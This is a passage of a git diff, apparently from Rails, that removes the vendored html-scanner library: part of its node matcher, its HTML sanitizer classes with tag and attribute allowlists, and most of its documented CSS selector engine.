-    # * if the condition is a regexp, it must match the value.
-    # * if the condition is a number, the value must match number.to_s.
-    # * if the condition is +true+, the value must not be +nil+.
-    # * if the condition is +false+ or +nil+, the value must be +nil+.
-    #
-    # Usage:
-    #
-    #   # test if the node is a "span" tag
-    #   node.match tag: "span"
-    #
-    #   # test if the node's parent is a "div"
-    #   node.match parent: { tag: "div" }
-    #
-    #   # test if any of the node's ancestors are "table" tags
-    #   node.match ancestor: { tag: "table" }
-    #
-    #   # test if any of the node's immediate children are "em" tags
-    #   node.match child: { tag: "em" }
-    #
-    #   # test if any of the node's descendants are "strong" tags
-    #   node.match descendant: { tag: "strong" }
-    #
-    #   # test if the node has between 2 and 4 span tags as immediate children
-    #   node.match children: { count: 2..4, only: { tag: "span" } }
-    #
-    #   # get funky: test to see if the node is a "div", has a "ul" ancestor
-    #   # and an "li" parent (with "class" = "enum"), and whether or not it has
-    #   # a "span" descendant that contains # text matching /hello world/:
-    #   node.match tag: "div",
-    #              ancestor: { tag: "ul" },
-    #              parent: { tag: "li",
-    #                           attributes: { class: "enum" } },
-    #              descendant: { tag: "span",
-    #                               child: /hello world/ }
-    def match(conditions)
-      conditions = validate_conditions(conditions)
-      # check content of child nodes
-      if conditions[:content]
-        if children.empty?
-          return false unless match_condition("", conditions[:content])
-        else
-          return false unless children.find { |child| child.match(conditions[:content]) }
-        end
-      end
-
-      # test the name
-      return false unless match_condition(@name, conditions[:tag]) if conditions[:tag]
-
-      # test attributes
-      (conditions[:attributes] || {}).each do |key, value|
-        return false unless match_condition(self[key], value)
-      end
-
-      # test parent
-      return false unless parent.match(conditions[:parent]) if conditions[:parent]
-
-      # test children
-      return false unless children.find { |child| child.match(conditions[:child]) } if conditions[:child]
-
-      # test ancestors
-      if conditions[:ancestor]
-        return false unless catch :found do
-          p = self
-          throw :found, true if p.match(conditions[:ancestor]) while p = p.parent
-        end
-      end
-
-      # test descendants
-      if conditions[:descendant]
-        return false unless children.find do |child|
-          # test the child
-          child.match(conditions[:descendant]) ||
-          # test the child's descendants
-          child.match(:descendant => conditions[:descendant])
-        end
-      end
-
-      # count children
-      if opts = conditions[:children]
-        matches = children.select do |c|
-          (c.kind_of?(HTML::Tag) and (c.closing == :self or ! c.childless?))
-        end
-
-        matches = matches.select { |c| c.match(opts[:only]) } if opts[:only]
-        opts.each do |key, value|
-          next if key == :only
-          case key
-            when :count
-              if Integer === value
-                return false if matches.length != value
-              else
-                return false unless value.include?(matches.length)
-              end
-            when :less_than
-              return false unless matches.length < value
-            when :greater_than
-              return false unless matches.length > value
-            else raise "unknown count condition #{key}"
-          end
-        end
-      end
-
-      # test siblings
-      if conditions[:sibling] || conditions[:before] || conditions[:after]
-        siblings = parent ? parent.children : []
-        self_index = siblings.index(self)
-
-        if conditions[:sibling]
-          return false unless siblings.detect do |s|
-            s != self && s.match(conditions[:sibling])
-          end
-        end
-
-        if conditions[:before]
-          return false unless siblings[self_index+1..-1].detect do |s|
-            s != self && s.match(conditions[:before])
-          end
-        end
-
-        if conditions[:after]
-          return false unless siblings[0,self_index].detect do |s|
-            s != self && s.match(conditions[:after])
-          end
-        end
-      end
-
-      true
-    end
-
-    def ==(node)
-      return false unless super
-      return false unless closing == node.closing && self.name == node.name
-      attributes == node.attributes
-    end
-
-    private
-      # Match the given value to the given condition.
-      def match_condition(value, condition)
-        case condition
-          when String
-            value && value == condition
-          when Regexp
-            value && value.match(condition)
-          when Numeric
-            value == condition.to_s
-          when true
-            !value.nil?
-          when false, nil
-            value.nil?
-          else
-            false
-        end
-      end
-  end
-end
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb b/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb
deleted file mode 100644
index 30b6b8b141..0000000000
--- a/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb
+++ /dev/null
@@ -1,188 +0,0 @@
-require 'set'
-require 'cgi'
-require 'active_support/core_ext/class/attribute_accessors'
-
-module HTML
-  class Sanitizer
-    def sanitize(text, options = {})
-      validate_options(options)
-      return text unless sanitizeable?(text)
-      tokenize(text, options).join
-    end
-
-    def sanitizeable?(text)
-      !(text.nil? || text.empty? || !text.index("<"))
-    end
-
-  protected
-    def tokenize(text, options)
-      tokenizer = HTML::Tokenizer.new(text)
-      result = []
-      while token = tokenizer.next
-        node = Node.parse(nil, 0, 0, token, false)
-        process_node node, result, options
-      end
-      result
-    end
-
-    def process_node(node, result, options)
-      result << node.to_s
-    end
-
-    def validate_options(options)
-      if options[:tags] && !options[:tags].is_a?(Enumerable)
-        raise ArgumentError, "You should pass :tags as an Enumerable"
-      end
-
-      if options[:attributes] && !options[:attributes].is_a?(Enumerable)
-        raise ArgumentError, "You should pass :attributes as an Enumerable"
-      end
-    end
-  end
-
-  class FullSanitizer < Sanitizer
-    def sanitize(text, options = {})
-      result = super
-      # strip any comments, and if they have a newline at the end (ie. line with
-      # only a comment) strip that too
-      result = result.gsub(/<!--(.*?)-->[\n]?/m, "") if (result && result =~ /<!--(.*?)-->[\n]?/m)
-      # Recurse - handle all dirty nested tags
-      result == text ? result : sanitize(result, options)
-    end
-
-    def process_node(node, result, options)
-      result << node.to_s if node.class == HTML::Text
-    end
-  end
-
-  class LinkSanitizer < FullSanitizer
-    cattr_accessor :included_tags, :instance_writer => false
-    self.included_tags = Set.new(%w(a href))
-
-    def sanitizeable?(text)
-      !(text.nil? || text.empty? || !((text.index("<a") || text.index("<href")) && text.index(">")))
-    end
-
-  protected
-    def process_node(node, result, options)
-      result << node.to_s unless node.is_a?(HTML::Tag) && included_tags.include?(node.name)
-    end
-  end
-
-  class WhiteListSanitizer < Sanitizer
-    [:protocol_separator, :uri_attributes, :allowed_attributes, :allowed_tags, :allowed_protocols, :bad_tags,
-     :allowed_css_properties, :allowed_css_keywords, :shorthand_css_properties].each do |attr|
-      class_attribute attr, :instance_writer => false
-    end
-
-    # A regular expression of the valid characters used to separate protocols like
-    # the ':' in 'http://foo.com'
-    self.protocol_separator     = /:|(&#0*58)|(&#x70)|(&#x0*3a)|(%|&#37;)3A/i
-
-    # Specifies a Set of HTML attributes that can have URIs.
-    self.uri_attributes         = Set.new(%w(href src cite action longdesc xlink:href lowsrc))
-
-    # Specifies a Set of 'bad' tags that the #sanitize helper will remove completely, as opposed
-    # to just escaping harmless tags like &lt;font&gt;
-    self.bad_tags               = Set.new(%w(script))
-
-    # Specifies the default Set of tags that the #sanitize helper will allow unscathed.
-    self.allowed_tags           = Set.new(%w(strong em b i p code pre tt samp kbd var sub
-      sup dfn cite big small address hr br div span h1 h2 h3 h4 h5 h6 ul ol li dl dt dd abbr
-      acronym a img blockquote del ins))
-
-    # Specifies the default Set of html attributes that the #sanitize helper will leave
-    # in the allowed tag.
-    self.allowed_attributes     = Set.new(%w(href src width height alt cite datetime title class name xml:lang abbr))
-
-    # Specifies the default Set of acceptable css properties that #sanitize and #sanitize_css will accept.
-    self.allowed_protocols      = Set.new(%w(ed2k ftp http https irc mailto news gopher nntp telnet webcal xmpp callto
-      feed svn urn aim rsync tag ssh sftp rtsp afs))
-
-    # Specifies the default Set of acceptable css properties that #sanitize and #sanitize_css will accept.
-    self.allowed_css_properties = Set.new(%w(azimuth background-color border-bottom-color border-collapse
-      border-color border-left-color border-right-color border-top-color clear color cursor direction display
-      elevation float font font-family font-size font-style font-variant font-weight height letter-spacing line-height
-      overflow pause pause-after pause-before pitch pitch-range richness speak speak-header speak-numeral speak-punctuation
-      speech-rate stress text-align text-decoration text-indent unicode-bidi vertical-align voice-family volume white-space
-      width))
-
-    # Specifies the default Set of acceptable css keywords that #sanitize and #sanitize_css will accept.
-    self.allowed_css_keywords   = Set.new(%w(auto aqua black block blue bold both bottom brown center
-      collapse dashed dotted fuchsia gray green !important italic left lime maroon medium none navy normal
-      nowrap olive pointer purple red right solid silver teal top transparent underline white yellow))
-
-    # Specifies the default Set of allowed shorthand css properties for the #sanitize and #sanitize_css helpers.
-    self.shorthand_css_properties = Set.new(%w(background border margin padding))
-
-    # Sanitizes a block of css code. Used by #sanitize when it comes across a style attribute
-    def sanitize_css(style)
-      # disallow urls
-      style = style.to_s.gsub(/url\s*\(\s*[^\s)]+?\s*\)\s*/, ' ')
-
-      # gauntlet
-      if style !~ /\A([:,;#%.\sa-zA-Z0-9!]|\w-\w|\'[\s\w]+\'|\"[\s\w]+\"|\([\d,\s]+\))*\z/ ||
-          style !~ /\A(\s*[-\w]+\s*:\s*[^:;]*(;|$)\s*)*\z/
-        return ''
-      end
-
-      clean = []
-      style.scan(/([-\w]+)\s*:\s*([^:;]*)/) do |prop,val|
-        if allowed_css_properties.include?(prop.downcase)
-          clean <<  prop + ': ' + val + ';'
-        elsif shorthand_css_properties.include?(prop.split('-')[0].downcase)
-          unless val.split().any? do |keyword|
-            !allowed_css_keywords.include?(keyword) &&
-              keyword !~ /\A(#[0-9a-f]+|rgb\(\d+%?,\d*%?,?\d*%?\)?|\d{0,2}\.?\d{0,2}(cm|em|ex|in|mm|pc|pt|px|%|,|\))?)\z/
-          end
-            clean << prop + ': ' + val + ';'
-          end
-        end
-      end
-      clean.join(' ')
-    end
-
-  protected
-    def tokenize(text, options)
-      options[:parent] = []
-      options[:attributes] ||= allowed_attributes
-      options[:tags]       ||= allowed_tags
-      super
-    end
-
-    def process_node(node, result, options)
-      result << case node
-        when HTML::Tag
-          if node.closing == :close
-            options[:parent].shift
-          else
-            options[:parent].unshift node.name
-          end
-
-          process_attributes_for node, options
-
-          options[:tags].include?(node.name) ? node : nil
-        else
-          bad_tags.include?(options[:parent].first) ? nil : node.to_s.gsub(/</, "&lt;")
-      end
-    end
-
-    def process_attributes_for(node, options)
-      return unless node.attributes
-      node.attributes.keys.each do |attr_name|
-        value = node.attributes[attr_name].to_s
-
-        if !options[:attributes].include?(attr_name) || contains_bad_protocols?(attr_name, value)
-          node.attributes.delete(attr_name)
-        else
-          node.attributes[attr_name] = attr_name == 'style' ? sanitize_css(value) : CGI::escapeHTML(CGI::unescapeHTML(value))
-        end
-      end
-    end
-
-    def contains_bad_protocols?(attr_name, value)
-      uri_attributes.include?(attr_name) &&
-      (value =~ /(^[^\/:]*):|(&#0*58)|(&#x70)|(&#x0*3a)|(%|&#37;)3A/i && !allowed_protocols.include?(value.split(protocol_separator).first.downcase.strip))
-    end
-  end
-end
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/selector.rb b/actionview/lib/action_view/vendor/html-scanner/html/selector.rb
deleted file mode 100644
index 7f8609c408..0000000000
--- a/actionview/lib/action_view/vendor/html-scanner/html/selector.rb
+++ /dev/null
@@ -1,830 +0,0 @@
-#--
-# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
-# Under MIT and/or CC By license.
-#++
-
-module HTML
-
-  # Selects HTML elements using CSS 2 selectors.
-  #
-  # The +Selector+ class uses CSS selector expressions to match and select
-  # HTML elements.
-  #
-  # For example:
-  #   selector = HTML::Selector.new "form.login[action=/login]"
-  # creates a new selector that matches any +form+ element with the class
-  # +login+ and an attribute +action+ with the value <tt>/login</tt>.
-  #
-  # === Matching Elements
-  #
-  # Use the #match method to determine if an element matches the selector.
-  #
-  # For simple selectors, the method returns an array with that element,
-  # or +nil+ if the element does not match. For complex selectors (see below)
-  # the method returns an array with all matched elements, of +nil+ if no
-  # match found.
-  #
-  # For example:
-  #   if selector.match(element)
-  #     puts "Element is a login form"
-  #   end
-  #
-  # === Selecting Elements
-  #
-  # Use the #select method to select all matching elements starting with
-  # one element and going through all children in depth-first order.
-  #
-  # This method returns an array of all matching elements, an empty array
-  # if no match is found
-  #
-  # For example:
-  #   selector = HTML::Selector.new "input[type=text]"
-  #   matches = selector.select(element)
-  #   matches.each do |match|
-  #     puts "Found text field with name #{match.attributes['name']}"
-  #   end
-  #
-  # === Expressions
-  #
-  # Selectors can match elements using any of the following criteria:
-  # * <tt>name</tt> -- Match an element based on its name (tag name).
-  #   For example, <tt>p</tt> to match a paragraph. You can use <tt>*</tt>
-  #   to match any element.
-  # * <tt>#</tt><tt>id</tt> -- Match an element based on its identifier (the
-  #   <tt>id</tt> attribute). For example, <tt>#</tt><tt>page</tt>.
-  # * <tt>.class</tt> -- Match an element based on its class name, all
-  #   class names if more than one specified.
-  # * <tt>[attr]</tt> -- Match an element that has the specified attribute.
-  # * <tt>[attr=value]</tt> -- Match an element that has the specified
-  #   attribute and value. (More operators are supported see below)
-  # * <tt>:pseudo-class</tt> -- Match an element based on a pseudo class,
-  #   such as <tt>:nth-child</tt> and <tt>:empty</tt>.
-  # * <tt>:not(expr)</tt> -- Match an element that does not match the
-  #   negation expression.
-  #
-  # When using a combination of the above, the element name comes first
-  # followed by identifier, class names, attributes, pseudo classes and
-  # negation in any order. Do not separate these parts with spaces!
-  # Space separation is used for descendant selectors.
-  #
-  # For example:
-  #   selector = HTML::Selector.new "form.login[action=/login]"
-  # The matched element must be of type +form+ and have the class +login+.
-  # It may have other classes, but the class +login+ is required to match.
-  # It must also have an attribute called +action+ with the value
-  # <tt>/login</tt>.
-  #
-  # This selector will match the following element:
-  #   <form class="login form" method="post" action="/login">
-  # but will not match the element:
-  #   <form method="post" action="/logout">
-  #
-  # === Attribute Values
-  #
-  # Several operators are supported for matching attributes:
-  # * <tt>name</tt> -- The element must have an attribute with that name.
-  # * <tt>name=value</tt> -- The element must have an attribute with that
-  #   name and value.
-  # * <tt>name^=value</tt> -- The attribute value must start with the
-  #   specified value.
-  # * <tt>name$=value</tt> -- The attribute value must end with the
-  #   specified value.
-  # * <tt>name*=value</tt> -- The attribute value must contain the
-  #   specified value.
-  # * <tt>name~=word</tt> -- The attribute value must contain the specified
-  #   word (space separated).
-  # * <tt>name|=word</tt> -- The attribute value must start with specified
-  #   word.
-  #
-  # For example, the following two selectors match the same element:
-  #   #my_id
-  #   [id=my_id]
-  # and so do the following two selectors:
-  #   .my_class
-  #   [class~=my_class]
-  #
-  # === Alternatives, siblings, children
-  #
-  # Complex selectors use a combination of expressions to match elements:
-  # * <tt>expr1 expr2</tt> -- Match any element against the second expression
-  #   if it has some parent element that matches the first expression.
-  # * <tt>expr1 > expr2</tt> -- Match any element against the second expression
-  #   if it is the child of an element that matches the first expression.
-  # * <tt>expr1 + expr2</tt> -- Match any element against the second expression
-  #   if it immediately follows an element that matches the first expression.
-  # * <tt>expr1 ~ expr2</tt> -- Match any element against the second expression
-  #   that comes after an element that matches the first expression.
-  # * <tt>expr1, expr2</tt> -- Match any element against the first expression,
-  #   or against the second expression.
-  #
-  # Since children and sibling selectors may match more than one element given
-  # the first element, the #match method may return more than one match.
-  #
-  # === Pseudo classes
-  #
-  # Pseudo classes were introduced in CSS 3. They are most often used to select
-  # elements in a given position:
-  # * <tt>:root</tt> -- Match the element only if it is the root element
-  #   (no parent element).
-  # * <tt>:empty</tt> -- Match the element only if it has no child elements,
-  #   and no text content.
-  # * <tt>:content(string)</tt> -- Match the element only if it has <tt>string</tt>
-  #   as its text content (ignoring leading and trailing whitespace).
-  # * <tt>:only-child</tt> -- Match the element if it is the only child (element)
-  #   of its parent element.
-  # * <tt>:only-of-type</tt> -- Match the element if it is the only child (element)
-  #   of its parent element and its type.
-  # * <tt>:first-child</tt> -- Match the element if it is the first child (element)
-  #   of its parent element.
-  # * <tt>:first-of-type</tt> -- Match the element if it is the first child (element)
-  #   of its parent element of its type.
-  # * <tt>:last-child</tt> -- Match the element if it is the last child (element)
-  #   of its parent element.
-  # * <tt>:last-of-type</tt> -- Match the element if it is the last child (element)
-  #   of its parent element of its type.
-  # * <tt>:nth-child(b)</tt> -- Match the element if it is the b-th child (element)
-  #   of its parent element. The value <tt>b</tt> specifies its index, starting with 1.
-  # * <tt>:nth-child(an+b)</tt> -- Match the element if it is the b-th child (element)
-  #   in each group of <tt>a</tt> child elements of its parent element.
-  # * <tt>:nth-child(-an+b)</tt> -- Match the element if it is the first child (element)
-  #   in each group of <tt>a</tt> child elements, up to the first <tt>b</tt> child
-  #   elements of its parent element.
-  # * <tt>:nth-child(odd)</tt> -- Match element in the odd position (i.e. first, third).
-  #   Same as <tt>:nth-child(2n+1)</tt>.
-  # * <tt>:nth-child(even)</tt> -- Match element in the even position (i.e. second,
-  #   fourth). Same as <tt>:nth-child(2n+2)</tt>.
-  # * <tt>:nth-of-type(..)</tt> -- As above, but only counts elements of its type.
-  # * <tt>:nth-last-child(..)</tt> -- As above, but counts from the last child.
-  # * <tt>:nth-last-of-type(..)</tt> -- As above, but counts from the last child and
-  #   only elements of its type.
-  # * <tt>:not(selector)</tt> -- Match the element only if the element does not
-  #   match the simple selector.
-  #
-  # As you can see, <tt>:nth-child</tt> pseudo class and its variant can get quite
-  # tricky and the CSS specification doesn't do a much better job explaining it.
-  # But after reading the examples and trying a few combinations, it's easy to
-  # figure out.
-  #
-  # For example:
-  #   table tr:nth-child(odd)
-  # Selects every second row in the table starting with the first one.
-  #
-  #   div p:nth-child(4)
-  # Selects the fourth paragraph in the +div+, but not if the +div+ contains
-  # other elements, since those are also counted.
-  #
-  #   div p:nth-of-type(4)
-  # Selects the fourth paragraph in the +div+, counting only paragraphs, and
-  # ignoring all other elements.
-  #
-  #   div p:nth-of-type(-n+4)
-  # Selects the first four paragraphs, ignoring all others.
-  #
-  # And you can always select an element that matches one set of rules but
-  # not another using <tt>:not</tt>. For example:
-  #   p:not(.post)
-  # Matches all paragraphs that do not have the class <tt>.post</tt>.
-  #
-  # === Substitution Values
-  #
-  # You can use substitution with identifiers, class names and element values.
-  # A substitution takes the form of a question mark (<tt>?</tt>) and uses the
-  # next value in the argument list following the CSS expression.
-  #
-  # The substitution value may be a string or a regular expression. All other
-  # values are converted to strings.
-  #
-  # For example:
-  #   selector = HTML::Selector.new "#?", /^\d+$/
-  # matches any element whose identifier consists of one or more digits.
-  #
-  # See http://www.w3.org/TR/css3-selectors/
-  class Selector
-
-
-    # An invalid selector.
-    class InvalidSelectorError < StandardError #:nodoc:
-    end
-
-
-    class << self
-
-      # :call-seq:
-      #   Selector.for_class(cls) => selector
-      #
-      # Creates a new selector for the given class name.
-      def for_class(cls)
-        self.new([".?", cls])
-      end
-
-
-      # :call-seq:
-      #   Selector.for_id(id) => selector
-      #
-      # Creates a new selector for the given id.
-      def for_id(id)
-        self.new(["#?", id])
-      end
-
-    end
-
-
-    # :call-seq:
-    #   Selector.new(string, [values ...]) => selector
-    #
-    # Creates a new selector from a CSS 2 selector expression.
-    #
-    # The first argument is the selector expression. All other arguments
-    # are used for value substitution.
-    #
-    # Throws InvalidSelectorError is the selector expression is invalid.
-    def initialize(selector, *values)
-      raise ArgumentError, "CSS expression cannot be empty" if selector.empty?
-      @source = ""
-      values = values[0] if values.size == 1 && values[0].is_a?(Array)
-
-      # We need a copy to determine if we failed to parse, and also
-      # preserve the original pass by-ref statement.
-      statement = selector.strip.dup
-
-      # Create a simple selector, along with negation.
-      simple_selector(statement, values).each { |name, value| instance_variable_set("@#{name}", value) }
-
-      @alternates = []
-      @depends = nil
-
-      # Alternative selector.
-      if statement.sub!(/^\s*,\s*/, "")
-        second = Selector.new(statement, values)
-        @alternates << second
-        # If there are alternate selectors, we group them in the top selector.
-        if alternates = second.instance_variable_get(:@alternates)
-          second.instance_variable_set(:@alternates, [])
-          @alternates.concat alternates
-        end
-        @source << " , " << second.to_s
-      # Sibling selector: create a dependency into second selector that will
-      # match element immediately following this one.
-      elsif statement.sub!(/^\s*\+\s*/, "")
-        second = next_selector(statement, values)
-        @depends = lambda do |element, first|
-          if element = next_element(element)
-            second.match(element, first)
-          end
-        end
-        @source << " + " << second.to_s
-      # Adjacent selector: create a dependency into second selector that will
-      # match all elements following this one.
-      elsif statement.sub!(/^\s*~\s*/, "")
-        second = next_selector(statement, values)
-        @depends = lambda do |element, first|
-          matches = []
-          while element = next_element(element)
-            if subset = second.match(element, first)
-              if first && !subset.empty?
-                matches << subset.first
-                break
-              else
-                matches.concat subset
-              end
-            end
-          end
-          matches.empty? ? nil : matches
-        end
-        @source << " ~ " << second.to_s
-      # Child selector: create a dependency into second selector that will
-      # match a child element of this one.
-      elsif statement.sub!(/^\s*>\s*/, "")
-        second = next_selector(statement, values)
-        @depends = lambda do |element, first|
-          matches = []
-          element.children.each do |child|
-            if child.tag? && subset = second.match(child, first)
-              if first && !subset.empty?
-                matches << subset.first
-                break
-              else
-                matches.concat subset
-              end
-            end
-          end
-          matches.empty? ? nil : matches
-        end
-        @source << " > " << second.to_s
-      # Descendant selector: create a dependency into second selector that
-      # will match all descendant elements of this one. Note,
-      elsif statement =~ /^\s+\S+/ && statement != selector
-        second = next_selector(statement, values)
-        @depends = lambda do |element, first|
-          matches = []
-          stack = element.children.reverse
-          while node = stack.pop
-            next unless node.tag?
-            if subset = second.match(node, first)
-              if first && !subset.empty?
-                matches << subset.first
-                break
-              else
-                matches.concat subset
-              end
-            elsif children = node.children
-              stack.concat children.reverse
-            end
-          end
-          matches.empty? ? nil : matches
-        end
-        @source << " " << second.to_s
-      else
-        # The last selector is where we check that we parsed
-        # all the parts.
-        unless statement.empty? || statement.strip.empty?
-          raise ArgumentError, "Invalid selector: #{statement}"
-        end
-      end
-    end
-
-
-    # :call-seq:
-    #   match(element, first?) => array or nil
-    #
-    # Matches an element against the selector.
-    #
-    # For a simple selector this method returns an array with the
-    # element if the element matches, nil otherwise.
-    #
-    # For a complex selector (sibling and descendant) this method
-    # returns an array with all matching elements, nil if no match is
-    # found.
-    #
-    # Use +first_only=true+ if you are only interested in the first element.
-    #
-    # For example:
-    #   if selector.match(element)
-    #     puts "Element is a login form"
-    #   end
-    def match(element, first_only = false)
-      # Match element if no element name or element name same as element name
-      if matched = (!@tag_name || @tag_name == element.name)
-        # No match if one of the attribute matches failed
-        for attr in @attributes
-          if element.attributes[attr[0]] !~ attr[1]
-            matched = false
-            break
-          end
-        end
-      end
-
-      # Pseudo class matches (nth-child, empty, etc).
-      if matched
-        for pseudo in @pseudo
-          unless pseudo.call(element)
-            matched = false
-            break
-          end
-        end
-      end
-
-      # Negation. Same rules as above, but we fail if a match is made.
-      if matched && @negation
-        for negation in @negation
-          if negation[:tag_name] == element.name
-            matched = false
-          else
-            for attr in negation[:attributes]
-              if element.attributes[attr[0]] =~ attr[1]
-                matched = false
-                break
-              end
-            end
-          end
-          if matched
-            for pseudo in negation[:pseudo]
-              if pseudo.call(element)
-                matched = false
-                break
-              end
-            end
-          end
-          break unless matched
-        end
-      end
-
-      # If element matched but depends on another element (child,
-      # sibling, etc), apply the dependent matches instead.
-      if matched && @depends
-        matches = @depends.call(element, first_only)
-      else
-        matches = matched ? [element] : nil
-      end
-
-      # If this selector is part of the group, try all the alternative
-      # selectors (unless first_only).
-      if !first_only || !matches
-        @alternates.each do |alternate|
-          break if matches && first_only
-          if subset = alternate.match(element, first_only)
-            if matches
-              matches.concat subset
-            else
-              matches = subset
-            end
-          end
-        end
-      end
-
-      matches
-    end
-
-
-    # :call-seq:
-    #   select(root) => array
-    #
-    # Selects and returns an array with all matching elements, beginning
-    # with one node and traversing through all children depth-first.
-    # Returns an empty array if no match is found.
-    #
-    # The root node may be any element in the document, or the document
-    # itself.
-    #
-    # For example:
-    #   selector = HTML::Selector.new "input[type=text]"
-    #   matches = selector.select(element)
-    #   matches.each do |match|
-    #     puts "Found text field with name #{match.attributes['name']}"
-    #   end
-    def select(root)
-      matches = []
-      stack = [root]
-      while node = stack.pop
-        if node.tag? && subset = match(node, false)
-          subset.each do |match|
-            matches << match unless matches.any? { |item| item.equal?(match) }
-          end
-        elsif children = node.children
-          stack.concat children.reverse
-        end
-      end
-      matches
-    end
-
-
-    # Similar to #select but returns the first matching element. Returns +nil+
-    # if no element matches the selector.
-    def select_first(root)
-      stack = [root]
-      while node = stack.pop
-        if node.tag? && subset = match(node, true)
-          return subset.first if !subset.empty?
-        elsif children = node.children
-          stack.concat children.reverse
-        end
-      end
-      nil
-    end
-
-
-    def to_s #:nodoc:
-      @source
-    end
-
-
-    # Return the next element after this one. Skips sibling text nodes.
-    #
-    # With the +name+ argument, returns the next element with that name,
-    # skipping other sibling elements.
-    def next_element(element, name = nil)
-      if siblings = element.parent.children
-        found = false
-        siblings.each do |node|
-          if node.equal?(element)
-            found = true
-          elsif found && node.tag?
-            return node if (name.nil? || node.name == name)
-          end
-        end
-      end
-      nil
-    end
-
-
-  protected
-
-
-    # Creates a simple selector given the statement and array of
-    # substitution values.
-    #
-    # Returns a hash with the values +tag_name+, +attributes+,
-    # +pseudo+ (classes) and +negation+.
-    #
-    # Called the first time with +can_negate+ true to allow
-    # negation. Called a second time with false since negation
-    # cannot be negated.
-    def simple_selector(statement, values, can_negate = true)
-      tag_name = nil
-      attributes = []
-      pseudo = []
-      negation = []
-
-      # Element name. (Note that in negation, this can come at
-      # any order, but for simplicity we allow if only first).
-      statement.sub!(/^(\*|[[:alpha:]][\w\-]*)/) do |match|
-        match.strip!
-        tag_name = match.downcase unless match == "*"
-        @source << match
-        "" # Remove
-      end
-
-      # Get identifier, class, attribute name, pseudo or negation.
-      while true
-        # Element identifier.
-        next if statement.sub!(/^#(\?|[\w\-]+)/) do
-          id = $1
-          if id == "?"
-            id = values.shift
-          end
-          @source << "##{id}"
-          id = Regexp.new("^#{Regexp.escape(id.to_s)}$") unless id.is_a?(Regexp)
-          attributes << ["id", id]
-          "" # Remove
-        end
-
-        # Class name.
-        next if statement.sub!(/^\.([\w\-]+)/) do
-          class_name = $1
-          @source << ".#{class_name}"
-          class_name = Regexp.new("(^|\s)#{Regexp.escape(class_name)}($|\s)") unless class_name.is_a?(Regexp)
-          attributes << ["class", class_name]
-          "" # Remove
-        end
-
-        # Attribute value.
-        next if statement.sub!(/^\[\s*([[:alpha:]][\w\-:]*)\s*((?:[~|^$*])?=)?\s*('[^']*'|"[^*]"|[^\]]*)\s*\]/) do
-          name, equality, value = $1, $2, $3
-          if value == "?"
-            value = values.shift
-          else
-            # Handle single and double quotes.
-            value.strip!
-            if (value[0] == ?" || value[0] == ?') && value[0] == value[-1]
-              value = value[1..-2]
-            end
-          end
-          @source << "[#{name}#{equality}'#{value}']"
-          attributes << [name.downcase.strip, attribute_match(equality, value)]
-          "" # Remove
-        end
-
-        # Root element only.
-        next if statement.sub!(/^:root/) do
-          pseudo << lambda do |element|
-            element.parent.nil? || !element.parent.tag?
-          end
-          @source << ":root"
-          "" # Remove
-        end
-
-        # Nth-child including last and of-type.
-        next if statement.sub!(/^:nth-(last-)?(child|of-type)\((odd|even|(\d+|\?)|(-?\d*|\?)?n([+\-]\d+|\?)?)\)/) do |match|
-          reverse = $1 == "last-"
-          of_type = $2 == "of-type"
-          @source << ":nth-#{$1}#{$2}("
-          case $3
-            when "odd"
-              pseudo << nth_child(2, 1, of_type, reverse)
-              @source << "odd)"
-            when "even"
-              pseudo << nth_child(2, 2, of_type, reverse)
-              @source << "even)"
-            when /^(\d+|\?)$/  # b only
-              b = ($1 == "?" ? values.shift : $1).to_i
-              pseudo << nth_child(0, b, of_type, reverse)
-              @source << "#{b})"
-            when /^(-?\d*|\?)?n([+\-]\d+|\?)?$/
-              a = ($1 == "?" ? values.shift :
-                   $1 == "" ? 1 : $1 == "-" ? -1 : $1).to_i
-              b = ($2 == "?" ? values.shift : $2).to_i
-              pseudo << nth_child(a, b, of_type, reverse)
-              @source << (b >= 0 ? "#{a}n+#{b})" : "#{a}n#{b})")
-            else
-              raise ArgumentError, "Invalid nth-child #{match}"
-          end
-          "" # Remove
-        end
-        # First/last child (of type).
-        next if statement.sub!(/^:(first|last)-(child|of-type)/) do
-          reverse = $1 == "last"
-          of_type = $2 == "of-type"
-          pseudo << nth_child(0, 1, of_type, reverse)
-          @source << ":#{$1}-#{$2}"
-          "" # Remove
-        end
-        # Only child (of type).
-        next if statement.sub!(/^:only-(child|of-type)/) do
-          of_type = $1 == "of-type"
-          pseudo << only_child(of_type)
-          @source << ":only-#{$1}"
-          "" # Remove
-        end
-
-        # Empty: no child elements or meaningful content (whitespaces
-        # are ignored).
-        next if statement.sub!(/^:empty/) do
-          pseudo << lambda do |element|
-            empty = true
-            for child in element.children
-              if child.tag? || !child.content.strip.empty?
-                empty = false
-                break
-              end
-            end
-            empty
-          end
-          @source << ":empty"
-          "" # Remove
-        end
-        # Content: match the text content of the element, stripping
-        # leading and trailing spaces.
-        next if statement.sub!(/^:content\(\s*(\?|'[^']*'|"[^"]*"|[^)]*)\s*\)/) do
-          content = $1
-          if content == "?"
-            content = values.shift
-          elsif (content[0] == ?" || content[0] == ?') && content[0] == content[-1]
-            content = content[1..-2]
-          end
-          @source << ":content('#{content}')"
-          content = Regexp.new("^#{Regexp.escape(content.to_s)}$") unless content.is_a?(Regexp)
-          pseudo << lambda do |element|
-            text = ""
-            for child in element.children
-              unless child.tag?
-                text << child.content
-              end
-            end
-            text.strip =~ content
-          end
-          "" # Remove
-        end
-
-        # Negation. Create another simple selector to handle it.
-        if statement.sub!(/^:not\(\s*/, "")
-          raise ArgumentError, "Double negatives are not missing feature" unless can_negate
-          @source << ":not("
-          negation << simple_selector(statement, values, false)
-          raise ArgumentError, "Negation not closed" unless statement.sub!(/^\s*\)/, "")
-          @source << ")"
-          next
-        end
-
-        # No match: moving on.
-        break
-      end
-
-      # Return hash. The keys are mapped to instance variables.
-      {:tag_name=>tag_name, :attributes=>attributes, :pseudo=>pseudo, :negation=>negation}
-    end
-
-
-    # Create a regular expression to match an attribute value based
-    # on the equality operator (=, ^=, |=, etc).
-    def attribute_match(equality, value)
-      regexp = value.is_a?(Regexp) ? value : Regexp.escape(value.to_s)
-      case equality
-        when "=" then
-          # Match the attribute value in full
-          Regexp.new("^#{regexp}$")
-        when "~=" then
-          # Match a space-separated word within the attribute value
-          Regexp.new("(^|\s)#{regexp}($|\s)")
-        when "^="
